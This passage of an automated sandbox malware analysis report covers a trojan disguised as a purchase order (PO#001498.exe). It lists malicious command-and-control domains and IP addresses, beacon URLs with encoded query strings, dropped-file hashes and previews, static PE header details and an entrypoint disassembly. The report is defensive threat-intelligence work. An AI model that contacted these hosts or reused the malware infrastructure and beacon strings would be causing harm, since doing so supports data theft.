                                                                                                                                                                https://www.imena.ua/serversAnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                                  		unknown
                                                                                                                                                                  https://www.active24.cz/AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                                    		unknown
                                                                                                                                                                    http://ogp.me/ns#forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                                    • URL Reputation: safe
                                                                                                                                                                    		unknown
                                                                                                                                                                    https://www.imena.ua/check-domain?step=transferforfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                                      		unknown
                                                                                                                                                                      http://schema.org/OrganizationAnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                                        		unknown
                                                                                                                                                                        https://www.imena.ua/support/domains-finance/sposoby-oplaty-uslug-imena-uaAnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                                          		unknown
                                                                                                                                                                          https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=forfiles.exe, 0000000C.00000003.1964374693.0000000007F9E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                          • URL Reputation: safe
                                                                                                                                                                          		unknown
                                                                                                                                                                          https://cdn.active24.euforfiles.exe, 0000000C.00000002.3136018758.00000000058B8000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                                            		unknown
                                                                                                                                                                            https://www.imena.ua/support/domains-finance/icann-i-ee-funkciiforfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                                              		unknown

                                                                                                                                                                              World Map of Contacted IPs

                                                                                                                                                                              • No. of IPs < 25%
                                                                                                                                                                              • 25% < No. of IPs < 50%
                                                                                                                                                                              • 50% < No. of IPs < 75%
                                                                                                                                                                              • 75% < No. of IPs

                                                                                                                                                                              Public IPs

                                                                                                                                                                              IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                              162.240.81.18
                                                                                                                                                                              		monitoraseg.onlineUnited States
                                                                                                                                                                              		46606UNIFIEDLAYER-AS-1UStrue
                                                                                                                                                                              67.223.117.169
                                                                                                                                                                              		rtpsilva4d.clickUnited States
                                                                                                                                                                              		15189VIMRO-AS15189UStrue
                                                                                                                                                                              154.9.228.56
                                                                                                                                                                              		www.mcse.topUnited States
                                                                                                                                                                              		395800GBTCLOUDUStrue
                                                                                                                                                                              37.9.175.163
                                                                                                                                                                              		www.elektromontaze.onlineSlovakia (SLOVAK Republic)
                                                                                                                                                                              		51013WEBSUPPORT-SRO-SK-ASSKtrue
                                                                                                                                                                              199.59.243.227
                                                                                                                                                                              		www.notepad.mobiUnited States
                                                                                                                                                                              		395082BODIS-NJUStrue
                                                                                                                                                                              203.161.41.205
                                                                                                                                                                              		www.paysom.xyzMalaysia
                                                                                                                                                                              		45899VNPT-AS-VNVNPTCorpVNtrue
                                                                                                                                                                              84.32.84.32
                                                                                                                                                                              		ankittrading.storeLithuania
                                                                                                                                                                              		33922NTT-LT-ASLTtrue
                                                                                                                                                                              3.33.130.190
                                                                                                                                                                              		bearableguy.netUnited States
                                                                                                                                                                              		8987AMAZONEXPANSIONGBtrue
                                                                                                                                                                              5.39.10.93
                                                                                                                                                                              		www.spectre.centerFrance
                                                                                                                                                                              		16276OVHFRtrue

                                                                                                                                                                              General Information

                                                                                                                                                                              Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                              Analysis ID:1524045
                                                                                                                                                                              Start date and time:2024-10-02 15:14:18 +02:00
                                                                                                                                                                              Joe Sandbox product:CloudBasic
                                                                                                                                                                              Overall analysis duration:0h 9m 12s
                                                                                                                                                                              Hypervisor based Inspection enabled:false
                                                                                                                                                                              Report type:full
                                                                                                                                                                              Cookbook file name:default.jbs
                                                                                                                                                                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                              Run name:Run with higher sleep bypass
                                                                                                                                                                              Number of analysed new started processes analysed:19
                                                                                                                                                                              Number of new started drivers analysed:0
                                                                                                                                                                              Number of existing processes analysed:0
                                                                                                                                                                              Number of existing drivers analysed:0
                                                                                                                                                                              Number of injected processes analysed:2
                                                                                                                                                                              Technologies:
                                                                                                                                                                              • HCA enabled
                                                                                                                                                                              • EGA enabled
                                                                                                                                                                              • AMSI enabled
                                                                                                                                                                              Analysis Mode:default
                                                                                                                                                                              Analysis stop reason:Timeout
                                                                                                                                                                              Sample name:PO#001498.exe
                                                                                                                                                                              Detection:MAL
                                                                                                                                                                              Classification:mal100.troj.spyw.evad.winEXE@7/2@9/9
                                                                                                                                                                              EGA Information:
                                                                                                                                                                              • Successful, ratio: 75%
                                                                                                                                                                              HCA Information:
                                                                                                                                                                              • Successful, ratio: 95%
                                                                                                                                                                              • Number of executed functions: 41
                                                                                                                                                                              • Number of non-executed functions: 309
                                                                                                                                                                              Cookbook Comments:
                                                                                                                                                                              • Found application associated with file extension: .exe
                                                                                                                                                                              • Sleeps bigger than 100000000ms are automatically reduced to 1000ms

                                                                                                                                                                              Warnings

                                                                                                                                                                              • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
                                                                                                                                                                              • Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
                                                                                                                                                                              • Execution Graph export aborted for target AnbtBVreItY.exe, PID 1836 because it is empty
                                                                                                                                                                              • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                              • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                                                                                              • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                                                              • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                              • VT rate limit hit for: PO#001498.exe

                                                                                                                                                                              Simulations

                                                                                                                                                                              Behavior and APIs

                                                                                                                                                                              TimeTypeDescription
                                                                                                                                                                              11:13:19API Interceptor4823709x Sleep call for process: forfiles.exe modified

                                                                                                                                                                              Joe Sandbox View / Context

                                                                                                                                                                              IPs

                                                                                                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                              162.240.81.18r9856_7.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • www.jeandreo.store/a5gd/
                                                                                                                                                                              PDF PURCHASE INQUIRY PDF.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • www.7hubmt.online/xbib/
                                                                                                                                                                              MV ALIADO-S-REQ-19-000640.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • www.7hubmt.online/xbib/
                                                                                                                                                                              New Purchase Order.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • www.sorriragora.online/3i7y/?lt=7+2uneOBixDDmhLFRXF/ufkAm5AC1SXFsWvwANuZC0TQ0YERrtM9rlugcy5pD3j7o6sEidpw3wSWmiKn6bu88qr2mjlQFSGqmkD6eyB8L9Z0Lf+o3Q/3u6k=&3ry=nj20Xr
                                                                                                                                                                              DHL airwaybill # 6913321715 & BL Draft copy.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • www.sorriragora.online/wxmz/
                                                                                                                                                                              yyyyyyyy.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • www.bellaflory.online/ituf/?zx=TzUh&EN-hu=YEtZDn0tA7DyZih9mnEB6iyoKUlvFjNFey9C//wFiDDFSyoO5eWV3ZKTc+ZVO1r+PL1l+P0OBuxLEWCpqZjHLSt270GmuGdydD8IJidQLk1z2EFl8w==
                                                                                                                                                                              rfOfF6s6gI.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • www.agoraeubebo.com/rs2o/
                                                                                                                                                                              4qV0xW2NSj.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • www.agoraeubebo.com/rs2o/
                                                                                                                                                                              MV ALIADO - S-REQ-19-00064 List items.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • www.7hubmt.online/xbib/
                                                                                                                                                                              MV ALIADO - S-REQ-19-00064.7Z.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • www.7hubmt.online/xbib/
                                                                                                                                                                              37.9.175.163https://www.clubhouseapi.com/r/SPrhq5uVU8OBOslVcDpsrA?s=0Get hashmaliciousUnknownBrowse
                                                                                                                                                                              • zghannk.hu.d.r3.wbsprt.com/favicon.ico
                                                                                                                                                                              199.59.243.227http://music.farstream.orgGet hashmaliciousUnknownBrowse
                                                                                                                                                                              • music.farstream.org/_fd
                                                                                                                                                                              payment copy.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • www.polarmuseum.info/reui/
                                                                                                                                                                              ORDER ENQUIRY.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • www.os9user.com/hy08/?GxlX=7jBziBoNeaZ0YBYCWuyuiMj/CYrZJe3GZSyGqEoVCgHfq7+BCveVTDnkVKPyAZoe4JtD&DVRXbd=tXIxBhEhlzJLR
                                                                                                                                                                              https://conbassecomlogii.godaddysites.com/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                              • cbcoinbasepremiunm.great-site.net/_tr
                                                                                                                                                                              https://kuconlogin-ui.godaddysites.com/Get hashmaliciousUnknownBrowse
                                                                                                                                                                              • ww25.fladestateins.com/_tr
                                                                                                                                                                              SecuriteInfo.com.suspected.of.Trojan.Downloader.gen.13209.11014.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                              • www.rjwn.com/btvuYqzds.js
                                                                                                                                                                              nBjauMrrmC.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • www.runccl.com/btrd/?XBZp7=lTrl&tTuD=C3V55vncN7yVAjAcRBQureN2DAJdCLOy0KVWQyL7L2n53NJTQKRDeKbykJZyPZM1JLvC
                                                                                                                                                                              ADNOC requesting RFQ.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • www.care-for-baby-1107.xyz/cxj4/
                                                                                                                                                                              z61SwiftCopyOfPayment.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • www.knee-pain-treatment-140741.xyz/jd21/?pPA800q0=yDnXSEuFFI5Fa7EZVwfMYj+SV8a9unqzRGp9lcINeNkO/Fjw4nnZoS+sdxtHpipwBukZUQVhVg==&SZ=dnxdCh7P22ilbRg
                                                                                                                                                                              QlHhDu2uh1.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • www.donante-de-ovulos.biz/ej48/

                                                                                                                                                                              Domains

                                                                                                                                                                              ⊘No context

                                                                                                                                                                              ASNs

                                                                                                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                              GBTCLOUDUSCpUXaHHdPB.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                              • 45.94.31.88
                                                                                                                                                                              4xBq1SMyQt.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                              • 45.94.31.88
                                                                                                                                                                              iQ3TqsmM9t.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                              • 45.94.31.88
                                                                                                                                                                              McServe.cmdGet hashmaliciousUnknownBrowse
                                                                                                                                                                              • 2.56.245.123
                                                                                                                                                                              lpg.cmdGet hashmaliciousXWormBrowse
                                                                                                                                                                              • 2.56.245.123
                                                                                                                                                                              ha9wYxkNI7.lnkGet hashmaliciousXWormBrowse
                                                                                                                                                                              • 2.56.245.123
                                                                                                                                                                              9KO1ScZ376.lnkGet hashmaliciousXWormBrowse
                                                                                                                                                                              • 2.56.245.123
                                                                                                                                                                              bot_library.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                              • 185.241.208.236
                                                                                                                                                                              sora.mpsl.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                              • 45.89.37.142
                                                                                                                                                                              b2Oyebni2W.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                              • 185.241.208.236
                                                                                                                                                                              WEBSUPPORT-SRO-SK-ASSKhttps://www.damia.sk/UniModul/Swiss-kunden/Get hashmaliciousUnknownBrowse
                                                                                                                                                                              • 37.9.175.179
                                                                                                                                                                              https://www.slovago.sk/webtemp/Swiss-kunden/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                              • 37.9.175.156
                                                                                                                                                                              https://antai-gouv-fr.troliga.sk/3dsec.phpGet hashmaliciousUnknownBrowse
                                                                                                                                                                              • 37.9.175.155
                                                                                                                                                                              https://antai-gouv-fr.troliga.sk/paiement.phpGet hashmaliciousUnknownBrowse
                                                                                                                                                                              • 37.9.175.155
                                                                                                                                                                              bJrO2iUerN.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                              • 37.9.175.164
                                                                                                                                                                              docs_pdf.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • 37.9.175.173
                                                                                                                                                                              SHIPPING DOCS_pdf.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • 37.9.175.173
                                                                                                                                                                              purchase order_pdf.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • 37.9.175.173
                                                                                                                                                                              arrival notice_pdf.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • 37.9.175.173
                                                                                                                                                                              TERMINI CONTRATTUALI-pdf.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                                                              • 185.111.89.173
                                                                                                                                                                              UNIFIEDLAYER-AS-1USSKM_C257i24092511530Kaplama.pdf.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                              • 108.167.140.123
                                                                                                                                                                              DHL Shipping documents 0020398484995500.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                              • 192.185.13.234
                                                                                                                                                                              Electronic_Receipt_ATT0001.htmGet hashmaliciousUnknownBrowse
                                                                                                                                                                              • 69.49.245.172
                                                                                                                                                                              https://email.mg.pmctraining.com/c/eJwUzDGOhSAQANDTSCfBAQQL2n-PgRmUDaAh_E329hvbVzwKpJF3Ehw2B84ro50WV0j68CYB2SNnQrVvLloHPjtLjAq9KAFAJ7thXDVQWlEdcfVg82oOBTo6s9ucFqPaKZ-W5sDSSz9lupuogbhPrBkT10n4ooxjgU8jXuDzfeqNJJ_rESP8fLGXiXJw6ddd6S3_GnaczPIep_gN8B8AAP__bcA-LwGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                              • 216.172.173.3
                                                                                                                                                                              https://sharing.clickup.com/9011385758/t/h/868a15nvk/VTTN7SYFPHZE3ITGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                              • 67.20.70.239
                                                                                                                                                                              Audio_Msg..00299229202324Transcript.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                                              • 69.49.245.172
                                                                                                                                                                              Sales_Contract_Main_417053608_09.2024.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                              • 108.179.194.43
                                                                                                                                                                              https://vwkugoia0yciq0buttompanj2.ntvultra.com/viciorhthvgh/forhwural/coupletri/QdhahVchT/yEjbKM/anNhbGFzQGhvbGxhbmRjby5jb20=Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                              • 108.179.252.163
                                                                                                                                                                              Sales_Contract_Main_417053608_09.2024.pdfGet hashmaliciousUnknownBrowse
                                                                                                                                                                              • 192.185.12.194
                                                                                                                                                                              https://abby-gatenby.com/m/?c3Y9bzM2NV8xX29uZSZyYW5kPVNucEJVREU9JnVpZD1VU0VSMDMwOTIwMjRVNDYwOTAzMDE=N0123NGet hashmaliciousUnknownBrowse
                                                                                                                                                                              • 192.185.129.84
                                                                                                                                                                              VIMRO-AS15189USPO-78140924.BAT.PDF.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • 67.223.117.189
                                                                                                                                                                              rP0n___87004354.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • 67.223.117.189
                                                                                                                                                                              Enquiry.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • 67.223.117.189
                                                                                                                                                                              AWB_5771388044 Documenti di spedizione.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • 67.223.117.189
                                                                                                                                                                              ncOLm62YLB.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • 67.223.117.189
                                                                                                                                                                              DOC092024-0431202229487.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • 67.223.117.189
                                                                                                                                                                              SecuriteInfo.com.Win32.CrypterX-gen.29913.30159.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • 67.223.118.13
                                                                                                                                                                              LisectAVT_2403002B_466.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                              • 67.223.117.189
                                                                                                                                                                              H37012.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                                                                                                                              • 67.223.118.13
                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Clipboard Hijacker, LummaC StealerBrowse
                                                                                                                                                                              • 67.223.119.7

                                                                                                                                                                              JA3 Fingerprints

                                                                                                                                                                              ⊘No context

                                                                                                                                                                              Dropped Files

                                                                                                                                                                              ⊘No context

                                                                                                                                                                              Created / dropped Files

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\20Y-W08y

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                              File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                                                                                                                              Category:modified
                                                                                                                                                                              Size (bytes):196608
                                                                                                                                                                              Entropy (8bit):1.1215420383712111
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                                                                                                                              MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                                                                                                                              SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                                                                                                                              SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                                                                                                                              SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:moderate, very likely benign file
                                                                                                                                                                              Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\gobioid

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\PO#001498.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:modified
                                                                                                                                                                              Size (bytes):287744
                                                                                                                                                                              Entropy (8bit):7.995291236265301
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:DdUPl3WePQRnMSnwccUqKMmgJ1/N1My6+f4cKaMFyJSe:DdULPQRnZnwccUqK9gflayzgclMK
                                                                                                                                                                              MD5:7688667FE09AFF92626F3615FEDF7444
                                                                                                                                                                              SHA1:1C41D81F537845D53373B9A3CF9BE0ECD9BB00AD
                                                                                                                                                                              SHA-256:BCEEC120521A4A482610ED803317C753E2FB91F099B4F714CF5CF2AF55EFAC79
                                                                                                                                                                              SHA-512:90EE7BA223E6BB68EAD88709707928C8D1529CEE7621B0B5163A2B1C947E440F889D72854C25A68E5256CED2DE8E6DEC316E2B8F3FDEEB520A6ED7D1E79C985C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:low
                                                                                                                                                                              Preview:.....46ZZo..9...z.FL...Q:..AAJA46ZZ70M0DDV0FQFOAHE1R26UJA.JA48E.90.9.e.1..g.)!6."@Y28 ,j"UX45C./Ud6#^f8(o....?]R0dLL@e46ZZ70MIEM..&6.r!/..2U.O..p!S.@...qP#.L..z/&..X1Z.5-.AJA46ZZ7`.0D.W1F.2.HE1R26UJ.AH@?7QZ7bI0DDV0FQFO.[E1R"6UJ1EJA4vZZ'0M0FDV6FQFOAHE7R26UJAAJ106ZX70M0DDT0..FOQHE!R26UZAAZA46ZZ7 M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R.B025AJA.g^Z7 M0D.R0FAFOAHE1R26UJAAJa46:Z70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0DDV0FQFOAHE1R26UJAAJA46ZZ70M0D

                                                                                                                                                                              Static File Info

                                                                                                                                                                              General

                                                                                                                                                                              File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                              Entropy (8bit):7.532898801324978
                                                                                                                                                                              TrID:
                                                                                                                                                                              • Win32 Executable (generic) a (10002005/4) 95.11%
                                                                                                                                                                              • AutoIt3 compiled script executable (510682/80) 4.86%
                                                                                                                                                                              • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                                              • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                                              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                              File name:PO#001498.exe
                                                                                                                                                                              File size:1'364'803 bytes
                                                                                                                                                                              MD5:eae93786c2728add0bef6611bd278abb
                                                                                                                                                                              SHA1:8f8a60a7c31f5f5ba1bec5e91da0244dc7bba10c
                                                                                                                                                                              SHA256:869593545d30c7f8e2ec6b4676f6866afc6f6e7b56b769d289d84626f7578d98
                                                                                                                                                                              SHA512:8dd16b2735938bfcd8fb24fe299acfa569e49998d594d0f08ad72691fa2d9c99a46be5f9909e151ee27fe86b77b39cab412a438fd9ce12a1c9f5ae65943a9802
                                                                                                                                                                              SSDEEP:24576:ffmMv6Ckr7Mny5QL6bamQ1nsIUAAMmq+W+rHJUh/TW2h1B:f3v+7/5QLBp8ch+rm/vB
                                                                                                                                                                              TLSH:F555F152B3D640F6D9A339712A7BE32BDB3575194323C48BABE02F768F111105B3A762
                                                                                                                                                                              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i...i...i.....9.k...`.:.w...`.,.....`.+.P...N%..c...N%..H...i...d...`. ./...w.:.k...w.;.h...i.8.h...`.>.h...Richi..........

                                                                                                                                                                              File Icon

                                                                                                                                                                              Icon Hash:1733312925935517

                                                                                                                                                                              Static PE Info

                                                                                                                                                                              General

                                                                                                                                                                              Entrypoint:0x416310
                                                                                                                                                                              Entrypoint Section:.text
                                                                                                                                                                              Digitally signed:false
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              Subsystem:windows gui
                                                                                                                                                                              Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                                                                                                                                                              DLL Characteristics:TERMINAL_SERVER_AWARE
                                                                                                                                                                              Time Stamp:0x4B93CF87 [Sun Mar 7 16:08:39 2010 UTC]
                                                                                                                                                                              TLS Callbacks:
                                                                                                                                                                              CLR (.Net) Version:
                                                                                                                                                                              OS Version Major:5
                                                                                                                                                                              OS Version Minor:0
                                                                                                                                                                              File Version Major:5
                                                                                                                                                                              File Version Minor:0
                                                                                                                                                                              Subsystem Version Major:5
                                                                                                                                                                              Subsystem Version Minor:0
                                                                                                                                                                              Import Hash:aaaa8913c89c8aa4a5d93f06853894da

                                                                                                                                                                              Entrypoint Preview

                                                                                                                                                                              Instruction
                                                                                                                                                                              call 00007F4034DE19CCh
                                                                                                                                                                              jmp 00007F4034DD579Eh
                                                                                                                                                                              int3
                                                                                                                                                                              int3
                                                                                                                                                                              int3
                                                                                                                                                                              int3
                                                                                                                                                                              int3
                                                                                                                                                                              int3
                                                                                                                                                                              push ebp
                                                                                                                                                                              mov ebp, esp
                                                                                                                                                                              push edi
                                                                                                                                                                              push esi
                                                                                                                                                                              mov esi, dword ptr [ebp+0Ch]
                                                                                                                                                                              mov ecx, dword ptr [ebp+10h]
                                                                                                                                                                              mov edi, dword ptr [ebp+08h]
                                                                                                                                                                              mov eax, ecx
                                                                                                                                                                              mov edx, ecx
                                                                                                                                                                              add eax, esi
                                                                                                                                                                              cmp edi, esi
                                                                                                                                                                              jbe 00007F4034DD592Ah
                                                                                                                                                                              cmp edi, eax
                                                                                                                                                                              jc 00007F4034DD5ACAh
                                                                                                                                                                              cmp ecx, 00000100h
                                                                                                                                                                              jc 00007F4034DD5941h
                                                                                                                                                                              cmp dword ptr [004A94E0h], 00000000h
                                                                                                                                                                              je 00007F4034DD5938h
                                                                                                                                                                              push edi
                                                                                                                                                                              push esi
                                                                                                                                                                              and edi, 0Fh
                                                                                                                                                                              and esi, 0Fh
                                                                                                                                                                              cmp edi, esi
                                                                                                                                                                              pop esi
                                                                                                                                                                              pop edi
                                                                                                                                                                              jne 00007F4034DD592Ah
                                                                                                                                                                              pop esi
                                                                                                                                                                              pop edi
                                                                                                                                                                              pop ebp
                                                                                                                                                                              jmp 00007F4034DD5D8Ah
                                                                                                                                                                              test edi, 00000003h
                                                                                                                                                                              jne 00007F4034DD5937h
                                                                                                                                                                              shr ecx, 02h
                                                                                                                                                                              and edx, 03h
                                                                                                                                                                              cmp ecx, 08h
                                                                                                                                                                              jc 00007F4034DD594Ch
                                                                                                                                                                              rep movsd
                                                                                                                                                                              jmp dword ptr [00416494h+edx*4]
                                                                                                                                                                              nop
                                                                                                                                                                              mov eax, edi
                                                                                                                                                                              mov edx, 00000003h
                                                                                                                                                                              sub ecx, 04h
                                                                                                                                                                              jc 00007F4034DD592Eh
                                                                                                                                                                              and eax, 03h
                                                                                                                                                                              add ecx, eax
                                                                                                                                                                              jmp dword ptr [004163A8h+eax*4]
                                                                                                                                                                              jmp dword ptr [004164A4h+ecx*4]
                                                                                                                                                                              nop
                                                                                                                                                                              jmp dword ptr [00416428h+ecx*4]
                                                                                                                                                                              nop
                                                                                                                                                                              mov eax, E4004163h
                                                                                                                                                                              arpl word ptr [ecx+00h], ax
                                                                                                                                                                              or byte ptr [ecx+eax*2+00h], ah
                                                                                                                                                                              and edx, ecx
                                                                                                                                                                              mov al, byte ptr [esi]
                                                                                                                                                                              mov byte ptr [edi], al
                                                                                                                                                                              mov al, byte ptr [esi+01h]
                                                                                                                                                                              mov byte ptr [edi+01h], al
                                                                                                                                                                              mov al, byte ptr [esi+02h]
                                                                                                                                                                              shr ecx, 02h
                                                                                                                                                                              mov byte ptr [edi+02h], al
                                                                                                                                                                              add esi, 03h
                                                                                                                                                                              add edi, 03h
                                                                                                                                                                              cmp ecx, 08h
                                                                                                                                                                              jc 00007F4034DD58EEh

                                                                                                                                                                              Rich Headers

                                                                                                                                                                              Programming Language:
                                                                                                                                                                              • [ASM] VS2008 SP1 build 30729
                                                                                                                                                                              • [ C ] VS2008 SP1 build 30729
                                                                                                                                                                              • [C++] VS2008 SP1 build 30729
                                                                                                                                                                              • [ C ] VS2005 build 50727
                                                                                                                                                                              • [IMP] VS2005 build 50727
                                                                                                                                                                              • [ASM] VS2008 build 21022
                                                                                                                                                                              • [RES] VS2008 build 21022
                                                                                                                                                                              • [LNK] VS2008 SP1 build 30729

                                                                                                                                                                              Data Directories

                                                                                                                                                                              NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_IMPORT0x8cd3c0x154.rdata
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_RESOURCE0xab0000x9298.rsrc
